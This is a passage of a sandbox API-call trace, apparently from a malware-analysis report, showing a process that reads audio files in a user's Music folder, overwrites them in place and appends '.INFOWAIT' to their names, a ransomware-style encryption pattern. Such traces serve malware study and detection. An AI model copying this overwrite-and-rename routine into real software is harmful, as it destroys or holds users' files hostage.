lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\u eczqsa89w8ys.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.485] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7f67 [0120.485] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.485] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.485] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7f67, lpOverlapped=0x0) returned 1 [0120.490] VirtualAlloc (lpAddress=0x0, dwSize=0x7f67, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.493] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.493] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7f67, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7f67, lpOverlapped=0x0) returned 1 [0120.493] CloseHandle (hObject=0xad4) returned 1 [0120.494] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3" [0120.494] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3.INFOWAIT" [0120.495] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\u eczqsa89w8ys.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\U eCzQsa89w8ys.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\u eczqsa89w8ys.mp3.infowait")) returned 1 [0120.495] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.496] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.497] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\wlnli51d9s.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.497] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xce28 [0120.497] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.498] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.498] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xce28, lpOverlapped=0x0) returned 1 [0120.501] VirtualAlloc (lpAddress=0x0, dwSize=0xce28, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.507] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.507] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xce28, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xce28, lpOverlapped=0x0) returned 1 [0120.507] CloseHandle (hObject=0xad4) returned 1 [0120.510] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3" [0120.510] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3.INFOWAIT" [0120.510] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\wlnli51d9s.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\wlnli51d9s.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\wlnli51d9s.mp3.infowait")) returned 1 [0120.511] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.512] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.513] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\ya4k9cp4ga90mfzw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0120.514] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ba8 [0120.514] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.514] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.514] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ba8, lpOverlapped=0x0) returned 1 [0120.518] VirtualAlloc (lpAddress=0x0, dwSize=0x4ba8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.520] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.521] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ba8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ba8, lpOverlapped=0x0) returned 1 [0120.521] CloseHandle (hObject=0xad4) returned 1 [0120.523] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav" [0120.523] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav.INFOWAIT" [0120.523] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\ya4k9cp4ga90mfzw.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\ya4k9CP4ga90mFZW.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\ya4k9cp4ga90mfzw.wav.infowait")) returned 1 [0120.524] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.525] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.525] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\_xt1xkuqqyoha.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.526] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe06b [0120.526] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.527] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.527] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe06b, lpOverlapped=0x0) returned 1 [0120.530] VirtualAlloc (lpAddress=0x0, dwSize=0xe06b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.536] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.536] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe06b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe06b, lpOverlapped=0x0) returned 1 [0120.536] CloseHandle (hObject=0xad0) returned 1 [0120.537] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav" [0120.537] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav.INFOWAIT" [0120.537] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\_xt1xkuqqyoha.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\O5g4jLerSHDy3Pf8Z8r\\_Xt1XKuQQyohA.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\o5g4jlershdy3pf8z8r\\_xt1xkuqqyoha.wav.infowait")) returned 1 [0120.538] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.539] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.540] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\_pnpdair3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.541] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1035f [0120.541] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.541] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.541] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1035f, lpOverlapped=0x0) returned 1 [0120.545] VirtualAlloc (lpAddress=0x0, dwSize=0x1035f, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.552] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.552] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1035f, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1035f, lpOverlapped=0x0) returned 1 [0120.552] CloseHandle (hObject=0xad0) returned 1 [0120.556] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3" [0120.556] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3.INFOWAIT" [0120.556] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\_pnpdair3.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rXoVxt3oiS\\_PnpDAir3.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rxovxt3ois\\_pnpdair3.mp3.infowait")) returned 1 [0120.557] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.558] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.558] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vmqaguirc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.559] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa649 [0120.559] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.559] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.559] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa649, lpOverlapped=0x0) returned 1 [0120.563] VirtualAlloc (lpAddress=0x0, dwSize=0xa649, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.567] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.567] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xa649, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa649, lpOverlapped=0x0) returned 1 [0120.567] CloseHandle (hObject=0xad0) returned 1 [0120.569] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3" [0120.569] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3.INFOWAIT" [0120.569] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vmqaguirc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VmQaguirc.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vmqaguirc.mp3.infowait")) returned 1 [0120.569] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.571] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.571] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w52qqqusqntd6lz uu_3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.571] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9593 [0120.572] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.572] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.572] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x9593, lpOverlapped=0x0) returned 1 [0120.578] VirtualAlloc (lpAddress=0x0, dwSize=0x9593, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.582] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.582] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x9593, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x9593, lpOverlapped=0x0) returned 1 [0120.582] CloseHandle (hObject=0xad0) returned 1 [0120.585] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a" [0120.585] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a.INFOWAIT" [0120.585] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w52qqqusqntd6lz uu_3.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w52qqQUsQntD6lz uu_3.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w52qqqusqntd6lz uu_3.m4a.infowait")) returned 1 [0120.586] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.587] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.587] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y1mkaun.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y1mkaun.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.588] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa9e4 [0120.588] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.588] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.588] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa9e4, lpOverlapped=0x0) returned 1 [0120.592] VirtualAlloc (lpAddress=0x0, dwSize=0xa9e4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.596] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.596] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, 